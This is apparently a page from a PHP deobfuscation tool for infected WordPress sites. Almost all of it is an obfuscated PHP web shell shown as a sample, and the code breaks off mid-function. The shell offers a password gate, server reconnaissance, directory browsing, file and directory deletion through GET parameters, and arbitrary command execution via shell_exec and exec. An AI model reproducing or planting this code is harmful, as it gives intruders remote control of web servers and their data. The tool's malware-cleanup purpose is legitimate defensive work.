Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php goto Q5lAj; JDOdI: $zFuFn = "\x23\63\63\63\x33\x33\x33"; goto Hx3LX; ec3fH: MxqF6: goto bYNpB; vUIIB: nh00Q: goto HUw7y; SwJoE: iFgVf: goto L_Zp0; Vh7fa: wOy8M: goto WqWKc; vpAi3: goto DRItI; goto RTVSS; YNyFd: goto IlQrv; goto oTE2u; KaZCO: aCvZP: goto vUIIB; uXE6L: goto iIgOC; goto BSoA_;...



Obfuscated php code

<?php
 goto Q5lAj; JDOdI: $zFuFn = "\x23\63\63\63\x33\x33\x33"; goto Hx3LX; ec3fH: MxqF6: goto bYNpB; vUIIB: nh00Q: goto HUw7y; SwJoE: iFgVf: goto L_Zp0; Vh7fa: wOy8M: goto WqWKc; vpAi3: goto DRItI; goto RTVSS; YNyFd: goto IlQrv; goto oTE2u; KaZCO: aCvZP: goto vUIIB; uXE6L: goto iIgOC; goto BSoA_; AGiZf: $vNk_u = "\43\x39\71\x39\x39\71\71"; goto MG9kq; F5N1E: if (isset($_GET["\x64\145\154\146"])) { goto e4b3s; } goto jXhVG; iqLcA: $UZ_nm = $_GET["\x64"]; goto R5lWY; ZWW1y: HuWyt: goto EZPmX; CN3CQ: goto QdM_h; goto kRB4_; FGuVN: print "\x3c\160\40\x69\x64\75\42\x62\143\153\x22\x3e\74\x61\40\150\x72\145\146\x3d\42\x3f\144\x3d" . realpath("\x2e") . "\x22\76\102\x41\103\113\74\x2f\x61\x3e\74\57\x70\x3e"; goto rVmFH; iAqLa: NF7gV: goto V6oqy; I58hw: TE6NV: goto laQDN; KE3cp: goto WOvm_; goto syFie; utPlw: $UZ_nm = $_GET["\144\x66"]; goto TJq0S; zA4xf: nx_AT: goto miuzF; xmCay: goto HerAg; goto fTGs0; Pxgcf: goto qCHNd; goto b8eey; Qqkwa: function G9tSp() { print "\74\x74\141\x62\x6c\145\40\142\x6f\162\x64\145\x72\x3d\x30\x20\x77\x69\x64\x74\x68\75\61\x30\x30\x25\x20\x68\x65\x69\147\x68\164\75\61\x30\60\45\40\141\x6c\x69\147\156\x3d\x63\145\156\x74\145\162\x20\x73\164\x79\154\x65\x3d\x22\x62\x61\x63\x6b\x67\x72\x6f\165\x6e\x64\x3a\x23\63\x33\63\x33\63\x33\73\x63\x6f\x6c\157\162\72\x73\151\154\x76\x65\x72\73\x22\x3e\x3c\164\144\40\x76\141\x6c\x69\147\x6e\x3d\42\155\151\x64\x64\154\x65\42\x3e\74\143\x65\x6e\164\145\162\x3e\74\x66\x6f\x72\155\40\141\143\x74\151\x6f\156\75\42" . basename(__FILE__) . "\42\x20\x6d\x65\x74\150\x6f\x64\x3d\42\x50\117\123\124\x22\76\120\141\163\163\167\157\x72\x64\40\74\151\156\160\165\x74\x20\x74\171\160\x65\75\x22\160\x61\163\x73\x77\157\x72\144\42\x20\155\141\170\154\145\156\147\164\150\x3d\42\x31\x30\x22\x20\x6e\141\x6d\x65\75\42\x70\x61\x73\163\42\40\163\x74\x79\x6c\145\x3d\x22\142\x61\143\x6b\147\x72\157\165\x6e\144\x3a\x23\x33\63\63\x33\x33\63\x3b\x63\x6f\x6c\157\162\x3a\x73\151\x6c\166\x65\x72\73\x62\157\x72\144\145\162\55\x72\x61\x64\151\x75\x73\x3a\x31\x30\160\170\x3b\142\x6f\x72\144\x65\162\72\x31\x70\170\x20\x73\x6f\154\x69\144\x20\163\151\154\166\145\x72\73\164\x65\170\x74\x2d\141\x6c\x69\x67\x6e\72\143\x65\x6e\164\145\162\x3b\x22\76\x20\74\151\x6e\x70\x75\x74\x20\164\x79\160\145\75\42\163\165\142\155\x69\164\x22\40\x76\141\154\165\x65\x3d\x22\x3e\76\42\40\x73\164\171\154\x65\75\x22\x62\141\143\153\147\x72\157\165\156\144\72\43\x33\x33\x33\x33\x33\63\73\143\x6f\x6c\x6f\x72\x3a\x73\151\x6c\166\145\x72\x3b\x62\x6f\162\144\145\162\55\x72\x61\x64\151\x75\x73\72\61\x30\x70\170\x3b\142\157\162\x64\x65\x72\x3a\61\x70\170\x20\163\157\x6c\x69\x64\x20\x73\151\154\166\x65\162\x3b\x22\x3e\x3c\57\x66\x6f\162\x6d\x3e\x3c\x2f\143\x65\x6e\x74\x65\162\76\74\x2f\x74\x64\x3e\74\x2f\164\141\x62\154\x65\x3e"; } goto O_naR; hqwzy: G1fm6: goto dzcat; ORTAF: GnvDO: goto F5N1E; QgyDv: if (isset($_GET["\x64"])) { goto Q2PoZ; } goto ghoUA; W3kUx: goto TE6NV; goto OGVcm; Y60Il: $XbJUM = array(); goto cv13C; bSVHD: LLXDO: goto JsJg2; x3k73: ryKmA: goto anjkm; vSKDb: $UZ_nm = $_GET["\x64\x65\x6c\x66"]; goto FjVNi; iAW9Q: y_SiS: goto FB2C_; TJq0S: goto wmhtW; goto VNplI; Ku8Ef: kUg9c: goto C95KX; X4G4i: Xv3Xk: goto LK_sg; Q5lAj: goto Tj46G; goto cRHhj; oiOBj: $Lt2Bw = "\x3c\x2f\142\x6f\x64\x79\x3e\x3c\x2f\x68\164\x6d\154\x3e"; goto hgDY4; WqWKc: if (isset($_GET["\x63\150"])) { goto iQyxe; } goto TPMZx; FurNQ: frWe3: goto p4FQA; ohaoh: $HGgUm = "\74\x63\x65\x6e\x74\145\x72\x3e\x3c\x70\x20\151\144\75\42\x69\x6e\x66\x22\76\x7c\174\174\40\x3c\142\x3e\74\x69\76\74\x75\x3e\x53\157\146\x74\x77\x61\162\145\x3a\74\x2f\x75\x3e\x3c\57\x69\x3e\x3c\57\142\76\x20" . $n3DGn . "\x20\x20\x7c\174\174\x20\x20\74\142\x3e\x3c\x69\76\x3c\x75\76\x55\156\x61\x6d\145\72\74\57\x75\x3e\74\57\151\76\74\57\142\x3e\40" . $vmxXz . "\x20\x7c\x7c\x7c\74\x2f\x62\x72\x3e\174\174\x7c\x20\74\142\76\x3c\x69\76\74\165\x3e\125\163\145\x72\72\x3c\x2f\x75\76\74\x2f\151\76\74\x2f\x62\76\x20" . $BxlmO . "\40\174\174\x7c\40\74\x62\76\x3c\x69\x3e\x3c\x75\x3e\x53\x61\146\145\x20\x4d\x6f\144\145\x3a\74\x2f\x75\x3e\x3c\57\x69\76\x3c\x2f\142\x3e\40" . $Xvs78 . "\x20\x7c\174\x7c\40\74\142\76\x3c\151\76\x3c\165\x3e\x44\x69\162\145\143\x74\157\162\x79\x3a\40\74\57\151\x3e\x3c\x2f\x62\x3e\74\x2f\165\x3e" . $q7XQs . "\x20\174\174\x7c\74\57\x70\76\x3c\57\143\x65\156\x74\x65\162\x3e\74\150\162\x3e"; goto clHDl; nysxI: J0Xul: goto INGFR; jqSqp: $fthIk = $_GET["\x6e\144\x69\x72"]; goto VzJnT; kZD2R: Tj46G: goto s7QQ5; OiG9G: goto apWH6; goto X0EAO; INGFR: goto AJ06G; goto H21XI; kqphb: goto F2qHh; goto W51pj; KXR6D: F2qHh: goto ZZxF8; fC9fl: goto qRvBZ; goto PvMkT; BN20Z: function sIYA2() { goto KTxt4; yyw8x: mPQEX: goto r43PI; W3fvL: goto OE1na; goto n6xII; VQMhC: if (!function_exists("\111\153\x46\x47\x64")) { goto Q5H1A; } goto W3fvL; NTGEs: goto zKQeH; goto iuBgN; E2QXu: SYu1L: goto IaJDV; XVvyu: zKQeH: goto HQ_zz; u5aGL: goto mPQEX; goto jEDo9; Fgw9r: Kod3C: goto VQMhC; KTxt4: goto Kod3C; goto IpTmi; r43PI: goto SYu1L; goto gcsgs; jEDo9: zc6Ff: goto yaE4b; hIMhQ: OE1na: goto IQaHS; IQaHS: goto zc6Ff; goto XVvyu; F7fzs: return $JHuVh; goto VJrsH; HQ_zz: $JHuVh = "\74\146\x6f\x6e\164\40\143\157\154\x6f\x72\x3d\x23\x63\143\x66\146\x30\60\x3e\x4f\106\x46\74\x2f\x66\x6f\x6e\x74\x3e"; goto u5aGL; VJrsH: goto kDzEb; goto yyw8x; MBIGN: kDzEb: goto H6Q0h; VAIrW: EfnFf: goto hIMhQ; yaE4b: $JHuVh = "\x3c\146\x6f\x6e\164\x20\143\x6f\x6c\157\x72\x3d\143\162\x69\155\x73\x6f\156\x3e\x4f\x4e\x3c\x2f\x66\x6f\x6e\x74\76"; goto VwCFW; iuBgN: xguim: goto E2QXu; IaJDV: goto sRGmE; goto MBIGN; VwCFW: goto xguim; goto Fgw9r; gcsgs: goto EfnFf; goto VAIrW; IpTmi: sRGmE: goto F7fzs; n6xII: Q5H1A: goto NTGEs; H6Q0h: } goto FInwH; V6oqy: function ib8Xj() { goto cBU0l; zdkKa: goto bzMNV; goto GB3v0; pzhuh: goto YBHW4; goto HhBqx; VVbZb: goto wPb0o; goto zuhbD; GG4ju: goto s8zFj; goto wmjmu; qdrL5: goto ipYI7; goto m2XcP; wQZo5: goto SHRe5; goto szqfE; wmjmu: e_Zl0: goto fnPV7; CldJI: pjo92: goto jmun_; m2XcP: yGMKQ: goto zYeXo; fnPV7: ipYI7: goto zdkKa; zuhbD: YBHW4: goto VgVtm; kmy6Z: $BaGOU = "\74\146\x6f\156\x74\x20\x63\x6f\154\157\162\x3d\143\162\x69\x6d\163\x6f\156\76\x4f\116\74\x2f\x66\x6f\156\x74\76"; goto GG4ju; GB3v0: ZvoQy: goto wQZo5; jmun_: if (!function_exists("\x54\x70\115\x72\x75")) { goto yGMKQ; } goto qdrL5; u0VOg: edvlt: goto vxOy2; jq_iV: s8zFj: goto Xh6mA; cBU0l: goto pjo92; goto CldJI; zYeXo: goto edvlt; goto ihlD0; HhBqx: bzMNV: goto kmy6Z; Xh6mA: SHRe5: goto VVbZb; szqfE: goto e_Zl0; goto u0VOg; vxOy2: $BaGOU = "\74\x66\157\x6e\x74\40\143\x6f\x6c\157\x72\x3d\43\x63\x63\146\146\60\x30\x3e\x4f\106\x46\74\x2f\x66\157\x6e\164\x3e"; goto LHIYK; LHIYK: goto ZvoQy; goto jq_iV; ihlD0: wPb0o: goto kl8DL; kl8DL: return $BaGOU; goto pzhuh; VgVtm: } goto AWiYM; LK_sg: o37Wv: goto KIC_m; SlmL4: iaLt1: goto oiOBj; BLsj4: function EjZbS() { goto LB6KJ; DIel5: OsdQG: goto m5DlW; W4CzD: return $JHuVh; goto nIca7; aLVYS: HBge8: goto gp43o; gp43o: goto rWc0A; goto DFC9C; C7dOv: rWc0A: goto NBxBO; KCsSt: WgwSI: goto V_GGn; nIca7: goto ReNAY; goto GGv7o; M3raH: xjO2g: goto wK8Ty; m5DlW: if (!empty($OPPW2)) { goto xjO2g; } goto Fgj14; GGqc6: L7KUL: goto W4CzD; V_GGn: SvKXJ: goto vCDCD; dA9xB: ReNAY: goto D8Ao1; NBxBO: goto L7KUL; goto aLVYS; w9b3V: $JHuVh = "\74\x66\x6f\156\164\40\x63\157\154\157\x72\x3d\143\162\x69\155\163\x6f\x6e\x3e\x4f\x4e\x3c\x2f\x66\157\156\164\x3e"; goto r22zG; tLwII: goto OsdQG; goto dA9xB; EKB2r: Ts2Pu: goto zbR6V; LB6KJ: goto Ts2Pu; goto Wz74x; r22zG: goto HBge8; goto DIel5; GGv7o: bq3Js: goto w9b3V; Wz74x: pgE7h: goto AWnJq; Fgj14: goto SvKXJ; goto M3raH; vCDCD: goto pgE7h; goto EKB2r; WU1yy: kUvo5: goto C7dOv; DFC9C: goto WgwSI; goto GGqc6; zbR6V: $OPPW2 = get_magic_quotes_gpc(); goto tLwII; wK8Ty: goto bq3Js; goto KCsSt; AWnJq: $JHuVh = "\74\x66\157\x6e\164\x20\143\x6f\154\157\x72\x3d\43\143\143\146\x66\x30\60\x3e\x4f\x46\x46\x3c\57\146\x6f\x6e\164\76"; goto Z0DLS; Z0DLS: goto kUvo5; goto WU1yy; D8Ao1: } goto jVCJD; UQR1z: goto Qcylm; goto Uhhux; LNUFf: FFlFf: goto JDOdI; e_SxE: JeQZA: goto slpI_; UDxak: if ($O4Bfj = opendir("\x2e")) { goto gE1yz; } goto x17bo; t8KH2: goto sBXV1; goto gqLFH; T7UPM: goto eGwzQ; goto DPkAm; DPkAm: UQy4X: goto JBBdu; cv13C: goto OEHJC; goto FurNQ; yRRXn: Jb301: goto jqSqp; MsKSu: goto Yudms; goto Hj7et; E607X: goto bvuNO; goto IZ1Yy; Sd_NI: LwcPn: goto xU6E4; s5ZHc: Qcylm: goto tNNx7; x4Ltd: print "\x3c\164\x64\x20\x63\x6f\154\163\160\x61\x6e\x3d\63\40\x61\x6c\151\147\x6e\x3d\x22\143\145\156\x74\145\x72\x22\x3e\x3c\141\40\150\x72\x65\x66\75\x22\x3f\170\75\160\x68\x70\x69\156\x66\42\40\x74\x61\162\147\145\x74\75\42\x5f\142\154\141\156\x6b\42\x3e\x50\x48\120\111\156\146\x6f\x3c\x2f\x61\x3e\x3c\x2f\x74\x64\76\x3c\57\164\141\142\x6c\x65\76"; goto UUvC9; PYtRY: qRvBZ: goto iKAeF; VdJJ5: goto hP3jP; goto Sfu1_; qqE9v: goto xo_71; goto SwJoE; i70L7: Yudms: goto fDl1x; Bawzo: goto r102s; goto Vh7fa; hl0_t: w_kDp: goto s8QT3; Sfu1_: Pkgha: goto QgyDv; B4pkn: goto tzCKu; goto ILwZb; Z1e6J: hlogV: goto hqwzy; rprKV: eGwzQ: goto ec3fH; DP5I0: e4b3s: goto OgBN6; ILwZb: zFmzM: goto I6x6I; Kje4s: goto YXZFN; goto WPCF7; l4DLP: Nw3gc: goto AzJ3g; Hj7et: KQPbJ: goto S4Pk1; BykMZ: goto NF7gV; goto kZD2R; rE8fq: $J79SO = array(); goto Id_Ib; tMezc: ZYJOP: goto hkPky; qaZis: if (isset($_POST["\160\141\163\163"])) { goto r7FPb; } goto FfhmT; mIVQr: goto IJt8b; goto ogy6a; dPEid: goto GrU7P; goto Q6cdX; WiXLs: goto nx_AT; goto nr2SJ; Ruh6F: goto QvJIO; goto CCKx6; RSprY: print "\74\160\x20\x61\x6c\x69\x67\x6e\x3d\42\x63\x65\156\x74\x65\162\42\40\x69\x64\75\42\143\160\x22\x3e" . ZTdUW('') . "\x3c\57\160\76"; goto L8SX0; sxB59: goto Vl3w3; goto w3ED2; f39sK: qCHNd: goto TalS7; H_GCl: $qwL0E = "\74\x68\164\155\x6c\76\74\x68\x65\141\x64\76\74\164\151\164\x6c\145\x3e\104\x72\x5f\123\121\x4c\74\x2f\164\x69\x74\154\x65\x3e\x3c\163\x74\x79\154\x65\76\142\x6f\144\171\x20\173\142\141\x63\x6b\x67\162\157\165\156\144\72" . $zFuFn . "\73\x63\157\154\x6f\x72\72" . $vNk_u . "\x3b\x66\157\x6e\x74\55\x73\x69\x7a\145\x3a\71\x70\164\73\x66\157\156\164\x2d\146\141\155\151\154\x79\x3a\x54\x72\x65\142\x75\x63\x68\x65\164\40\115\123\54\x63\x75\x72\163\x69\x76\145\x2c\163\x61\156\163\x20\x73\145\162\x69\x66\x3b\175\x68\61\x23\x6e\173\160\157\x73\151\164\151\x6f\156\72\x66\x69\x78\x65\x64\73\164\x6f\x70\72\61\x30\x70\170\x3b\x6c\x65\x66\x74\x3a\x31\x30\160\x78\x3b\x74\145\x78\x74\x2d\x73\x68\x61\144\157\167\x3a\60\x70\170\x20\60\x70\x78\40\x35\160\x78\40\142\154\141\143\x6b\73\x63\x6f\x6c\x6f\162\72\43\67\x39\141\63\61\x37\x3b\x7d\x68\x31\43\x6e\155\x7b\x74\145\170\x74\x2d\163\x68\x61\x64\157\167\72\60\x70\x78\40\60\160\170\40\65\x70\170\x20\142\x6c\x61\143\x6b\x3b\x63\157\154\157\162\72\43\x37\71\141\x33\61\67\73\175\x61\x20\173\x63\x6f\x6c\157\162\72" . $vNk_u . "\x3b\164\x65\170\x74\x2d\144\145\143\157\x72\x61\x74\151\157\x6e\x3a\x6e\x6f\x6e\x65\73\x66\x6f\156\x74\x2d\146\x61\x6d\151\154\x79\x3a\x43\x6f\155\x69\143\40\x53\141\x6e\163\40\x4d\x73\x2c\x63\165\x72\163\151\x76\x65\x2c\x73\x61\156\163\40\163\145\162\x69\x66\73\x7d\x61\x3a\150\157\x76\145\x72\40\x7b\143\157\x6c\x6f\162\72\x23\x37\71\141\x33\61\67\x3b\175\150\162\x20\x7b\142\141\x63\153\147\162\x6f\x75\156\144\x3a" . $vNk_u . "\x3b\x63\157\x6c\x6f\162\x3a\142\154\141\x63\153\73\175\160\x23\x62\143\x6b\x7b\160\x6f\x73\x69\x74\151\x6f\156\x3a\x66\151\170\145\x64\x3b\x74\157\160\x3a\62\60\160\x78\73\162\151\147\150\x74\72\x32\x30\x70\170\73\175\43\x6d\145\x6e\x75\x20\x7b\x70\x6f\163\x69\164\x69\x6f\x6e\72\146\151\170\145\144\x3b\142\x6f\164\164\157\x6d\x3a\60\x70\x78\x3b\x77\151\x64\x74\x68\x3a\61\60\x30\45\x3b\146\157\156\x74\55\x73\151\172\145\72\x31\x33\160\x74\x3b\x7d\43\x6d\x65\x6e\165\102\x20\x7b\x62\x61\143\x6b\147\x72\x6f\x75\156\144\72" . $zFuFn . "\x3b\x62\157\170\x2d\x73\x68\x61\x64\x6f\167\x3a\x30\x70\170\x20\x30\160\170\40\x31\60\160\x78\40\142\154\141\143\x6b\73\x62\157\x72\x64\x65\162\55\x72\x61\x64\x69\165\x73\x3a\61\x35\160\170\73\160\141\144\x64\151\x6e\x67\x3a\65\160\x78\x20\62\x30\x70\170\40\x35\160\170\x20\62\60\160\x78\73\x7d\x74\141\x62\x6c\145\43\x6d\157\162\x65\111\x7b\x66\x6f\156\164\x2d\x73\151\172\145\72\x39\x70\164\73\x62\141\x63\x6b\147\x72\157\165\x6e\x64\x3a" . $zFuFn . "\x3b\x62\157\x72\x64\145\x72\55\162\x61\x64\151\165\163\x3a\x31\x30\x70\x78\x3b\x62\x6f\x78\x2d\x73\x68\141\144\x6f\x77\x3a\60\160\170\x20\x30\160\x78\40\x31\x30\x70\x78\x20\142\x6c\x61\x63\153\x3b\x70\x61\x64\144\151\x6e\147\72\x35\x70\170\73\x70\x6f\x73\x69\x74\151\157\x6e\x3a\146\x69\x78\x65\x64\73\142\157\x74\164\157\x6d\72\64\x30\160\x78\x3b\x72\x69\147\150\164\72\64\x30\x70\x78\73\x64\151\x73\160\x6c\x61\x79\72\x6e\157\156\x65\x3b\175\x70\x23\x63\x70\40\x7b\146\157\x6e\x74\55\163\151\x7a\x65\72\x31\x31\160\x74\x3b\175\x74\141\142\154\145\43\x6c\164\x20\x7b\x66\x6f\156\164\x2d\x73\151\172\x65\72\x31\60\x70\164\x3b\x7d\151\x6e\x70\x75\164\43\x6c\x74\x2c\x69\x6e\160\x75\164\x23\x73\166\40\x7b\x62\x61\143\x6b\x67\x72\x6f\x75\x6e\144\72" . $zFuFn . "\73\x62\157\162\x64\x65\x72\55\162\x61\144\151\x75\x73\x3a\x31\60\x70\x78\73\142\x6f\162\x64\145\x72\72\x31\160\170\x20\x73\x6f\154\x69\x64\40" . $vNk_u . "\73\x63\x6f\x6c\157\162\x3a" . $vNk_u . "\x3b\x74\145\x78\164\x2d\x61\154\x69\x67\x6e\72\x63\x65\156\164\145\162\73\x7d\x69\156\160\165\x74\43\x6c\164\x62\x20\173\142\x61\143\x6b\147\x72\157\165\x6e\x64\72\162\x67\142\141\50\x30\54\60\54\60\x2c\60\51\x3b\x62\157\x72\x64\145\162\55\162\x61\144\x69\165\x73\x3a\61\60\160\170\x3b\143\x6f\x6c\x6f\x72\72" . $vNk_u . "\x3b\142\x6f\170\55\163\x68\x61\144\157\x77\x3a\60\160\x78\40\x30\x70\170\40\x31\160\x78\40" . $vNk_u . "\x3b\x62\x6f\x72\x64\x65\162\72\60\160\170\40\163\x6f\154\151\x64\40\162\x67\142\141\x28\x30\x2c\x30\54\x30\54\60\51\x3b\x7d\164\x61\x62\154\145\43\x66\x74\x20\x7b\146\x6f\x6e\x74\55\163\151\172\145\72\x39\x70\164\73\160\x61\144\144\151\x6e\x67\x3a\65\x70\x78\x3b\x62\x6f\162\144\x65\x72\x2d\162\141\x64\151\x75\163\72\61\60\x70\170\73\x62\157\x78\x2d\x73\x68\141\144\x6f\167\x3a\60\160\170\x20\x30\160\170\x20\x31\60\160\170\40\x62\x6c\141\143\x6b\73\175\x74\144\43\x66\150\40\173\x62\x6f\x72\144\145\162\x2d\x62\x6f\x74\x74\157\155\x3a\x31\160\170\40\163\x6f\x6c\x69\x64\40" . $vNk_u . "\73\160\x61\144\x64\151\156\147\55\x62\x6f\164\164\x6f\155\72\63\160\x78\x3b\175\x74\x72\43\x66\x6e\x3a\150\x6f\166\x65\x72\x7b\142\157\170\55\163\x68\x61\x64\157\x77\x3a\60\x70\x78\40\60\x70\170\40\65\x70\x78\40\142\154\x61\143\x6b\x3b\x7d\150\x33\x20\x7b\164\x65\170\164\55\163\x68\x61\144\157\x77\72\60\160\170\x20\x30\160\170\40\64\x70\x78\40\142\x6c\x61\x63\x6b\x3b\x66\157\x6e\x74\55\x73\151\172\x65\x3a\61\63\160\x74\73\x7d\x74\145\x78\164\x61\x72\145\141\x23\x65\x64\x69\164\x20\173\x62\x61\x63\153\147\x72\x6f\165\x6e\x64\x3a" . $zFuFn . "\x3b\143\x6f\154\x6f\162\72" . $vNk_u . "\73\142\x6f\x78\x2d\x73\x68\x61\x64\x6f\167\72\x30\x70\170\x20\60\x70\170\40\61\60\x70\x78\x20\142\154\x61\143\x6b\x3b\x62\157\162\x64\x65\162\x2d\162\141\144\151\165\x73\72\x31\x30\x70\170\x3b\x62\157\162\144\145\162\72\x6e\157\x6e\x65\73\x70\141\144\x64\x69\156\147\72\61\60\x70\x78\x3b\x7d\x3c\57\x73\164\171\x6c\145\x3e\74\x73\x63\162\151\x70\164\40\x74\x79\160\145\75\42\x74\x65\170\164\x2f\x6a\141\x76\141\x73\x63\x72\x69\160\164\42\76\x66\x75\x6e\x63\164\151\157\156\40\147\145\164\x5f\151\x6e\x66\50\x29\x20\x7b\x69\146\50\144\x6f\x63\165\x6d\145\x6e\164\x2e\147\145\164\105\154\145\155\145\156\x74\x42\x79\x49\144\x28\x27\x6d\x6f\162\145\x49\47\x29\x2e\x73\164\171\154\145\56\x64\x69\x73\160\x6c\x61\171\75\75\42\142\154\157\x63\x6b\x22\x29\173\x64\x6f\143\x75\x6d\145\156\x74\56\x67\x65\x74\x45\154\x65\155\x65\x6e\164\102\x79\111\144\50\x27\x6d\x6f\x72\x65\x49\x27\51\x2e\163\x74\171\x6c\x65\x2e\144\x69\x73\160\154\141\171\x3d\42\x6e\x6f\x6e\145\42\x7d\145\154\163\x65\40\x7b\144\x6f\143\x75\x6d\x65\x6e\x74\56\147\145\164\x45\154\145\x6d\145\156\164\x42\171\x49\x64\50\x27\155\157\x72\x65\x49\47\51\x2e\x73\x74\171\154\145\x2e\144\x69\x73\160\x6c\141\171\x3d\42\x62\154\157\x63\x6b\42\73\x7d\x7d\x20\146\x75\x6e\x63\164\x69\157\x6e\x20\170\x79\156\50\151\144\61\54\x69\144\x32\x29\40\173\144\x6f\143\165\x6d\145\156\164\56\147\x65\164\105\x6c\x65\155\145\156\164\102\171\x49\144\50\151\x64\61\x29\x2e\163\164\171\x6c\x65\x2e\144\151\x73\160\154\x61\x79\x3d\x22\x62\154\x6f\x63\x6b\42\x3b\144\157\x63\x75\155\x65\x6e\x74\56\x67\x65\x74\105\x6c\145\155\x65\156\164\x42\171\111\x64\x28\x69\144\x32\51\x2e\163\164\171\x6c\x65\56\x64\151\x73\x70\154\141\x79\x3d\42\x6e\157\x6e\145\x22\73\175\74\57\x73\143\162\151\x70\x74\x3e\74\x2f\x68\145\141\x64\76\74\x62\x6f\x64\x79\x3e\74\150\x31\40\151\x64\75\42\x6e\x22\76\74\141\40\150\162\x65\x66\x3d\x22\x3f\x78\x3d\x78\x22\76\74\x2f\141\76\x3c\x2f\150\x31\x3e"; goto rTAXg; TmxRK: fewKG: goto dW3th; V6dyM: goto UaI_3; goto anspW; Fnkwq: ADYhv: goto AGiZf; WPCF7: CKS19: goto WhnXS; CFY1M: function JyvFI() { header("\x4c\157\x63\x61\x74\x69\157\x6e\72\x20" . basename(__FILE__)); } goto bCstK; oDGKj: function PhFM5() { goto pxKKH; DSHNP: n2MP0: goto dDs3Z; yF6b3: sU9yV: goto tWUVR; c1dAe: zAcGt: goto DQkDz; tWUVR: return $NTnD0; goto H27jm; dDs3Z: goto mcgeo; goto Jnf83; nGVL2: OdXN2: goto FR4pQ; pxKKH: goto Ps7S_; goto DSHNP; Jnf83: goto OdXN2; goto K3biU; FR4pQ: V_nx7: goto YYCFI; srOKS: goto s4wCV; goto nGVL2; DF0zL: goto e0ev3; goto c1dAe; YYCFI: goto PWfgk; goto gg_UC; vjHu2: OR9mV: goto DF0zL; wzgcl: $NTnD0 = "\74\146\x6f\156\x74\40\x63\x6f\154\157\162\75\43\x63\143\x66\x66\x30\60\76\117\106\x46\74\57\146\x6f\x6e\x74\76"; goto Z8BVL; xJr9c: $NTnD0 = "\74\146\x6f\x6e\164\40\143\x6f\154\x6f\162\x3d\143\162\x69\155\163\157\156\76\x4f\x4e\74\57\x66\x6f\x6e\164\x3e"; goto srOKS; XrKrv: if (!ini_get("\162\145\161\x69\x73\164\145\162\137\147\154\157\x62\141\154\x73")) { goto OR9mV; } goto vyIqV; b5afL: goto sU9yV; goto yF6b3; Qf8M1: mcgeo: goto b5afL; K3biU: s4wCV: goto Qf8M1; gg_UC: e0ev3: goto wzgcl; H27jm: goto zAcGt; goto wUC8V; wUC8V: PWfgk: goto xJr9c; vyIqV: goto V_nx7; goto vjHu2; JHffh: Ps7S_: goto XrKrv; Z8BVL: goto n2MP0; goto JHffh; DQkDz: } goto BykMZ; XCEw3: function PFcmM() { goto ix8x7; gx13m: sYle_: goto xuTy8; npSr6: $BaGOU = "\x3c\x66\x6f\156\164\x20\143\x6f\154\x6f\x72\x3d\x63\162\x69\x6d\163\x6f\x6e\x3e\x4f\x4e\74\57\146\157\156\164\76"; goto rGj6j; rGj6j: goto IOAGx; goto SPz1y; SPz1y: o3ASd: goto H7hdY; sf999: goto mASdR; goto ngP90; Pqjww: nWimv: goto QGUE4; d7TgS: goto sYle_; goto jk7cX; b0w05: return $BaGOU; goto ryBY_; Fr7eH: goto vEMgy; goto iyQ4r; zwGxa: $BaGOU = "\74\x66\x6f\156\164\40\143\x6f\154\157\x72\x3d\x23\x63\x63\x66\x66\x30\60\x3e\117\106\106\x3c\x2f\146\x6f\x6e\164\x3e"; goto rhuDe; ryBY_: goto nWimv; goto KVqIo; XeYR2: goto wHusY; goto Pqjww; H7hdY: bmOoJ: goto XeYR2; H9V9H: goto bmOoJ; goto d7TgS; ix8x7: goto X81XN; goto gx13m; Ec8ZO: IOAGx: goto H9V9H; NB1id: goto hIawB; goto IYy_W; xuTy8: vEMgy: goto sf999; hjarl: goto XDcxU; goto Ec8ZO; USJ4x: $OPPW2 = ini_get("\x6f\x70\x65\x6e\137\x62\x61\163\145\x64\x69\162"); goto hjarl; rhuDe: goto o3ASd; goto iDZ0z; U2rp1: if ($OPPW2) { goto t8TUy; } goto Fr7eH; ngP90: wHusY: goto b0w05; IYy_W: hIawB: goto npSr6; iyQ4r: t8TUy: goto NB1id; iDZ0z: XDcxU: goto U2rp1; jk7cX: mASdR: goto zwGxa; KVqIo: X81XN: goto USJ4x; QGUE4: } goto MOI5j; fsqBj: goto r70Fa; goto ORTAF; Y_SDJ: goto H8tKm; goto lAIpf; fAm53: $BaGOU = $_POST["\157\154\144"]; goto ysUAI; cGYpg: $xgskw = "\x74\x75\156\141\x66\x65\145\x73\x68"; goto rd1ay; HDuIb: function XzTkb($JHuVh, $rcGGr) { goto shi3a; Jg56A: goto GRGh1; goto fHNF3; R1rZS: goto YOI4p; goto J2SOw; tgjlW: goto DjTg7; goto Xbg05; aV1wr: goto YOI4p; goto n07Of; wG6nk: goto e6WkY; goto DaOTc; n07Of: goto WM5p1; goto Uhrxl; GSkgm: goto TdJsB; goto ogR22; m86qP: DjTg7: goto R1rZS; kv1kZ: s3NMx: goto DycVm; bgNIE: goto PyLMv; goto pfZk7; F1dV5: goto q4cUQ; goto op2TM; pGXKg: RJxFW: goto gcHXP; pfZk7: UjJXM: goto WW5cm; eZOqf: if (!($JHuVh == "\160\x61\x73\163\164\x68\x72\x75")) { goto aL1Cn; } goto nvzfb; ogR22: AMcMn: goto cTapx; gU1PC: q5YlL: goto ZOC73; ZUPUY: goto UjJXM; goto m86qP; bhSzO: goto MYbtK; goto gNcDW; FoKVq: bAj3t: goto kWXxJ; ZBhfM: goto YOI4p; goto ocQGV; EBrCt: CpxA7: goto aV1wr; op2TM: cU99m: goto cRmg0; cRmg0: goto YOI4p; goto rHHO5; g42FQ: PUBe2: goto JeDKr; nvN2M: u60bp: goto mrX7l; JeDKr: goto aH1MU; goto QjS80; nvzfb: goto q5YlL; goto F1Y3i; BlYzA: GRGh1: goto zuxDV; Nadsb: aH1MU: goto opZeT; zuxDV: goto bAj3t; goto kv1kZ; vWdFN: goto v8fpG; goto DHP2E; J2SOw: goto AMcMn; goto Nadsb; DaOTc: q4cUQ: goto QLwV4; opZeT: if (!($JHuVh == "\x65\x78\x65\x63")) { goto UAxUN; } goto Jg56A; gcHXP: print shell_exec($rcGGr); goto hM5ty; rc2ZS: foreach ($NTnD0 as $BaGOU) { goto YVzRx; YVzRx: print $BaGOU . "\74\57\x62\x72\76"; goto V5Xt4; n9fPj: X8yeW: goto FAfpZ; V5Xt4: hVob3: goto n9fPj; FAfpZ: } goto G1mMi; kWXxJ: exec($rcGGr, $NTnD0); goto vWdFN; nPOll: 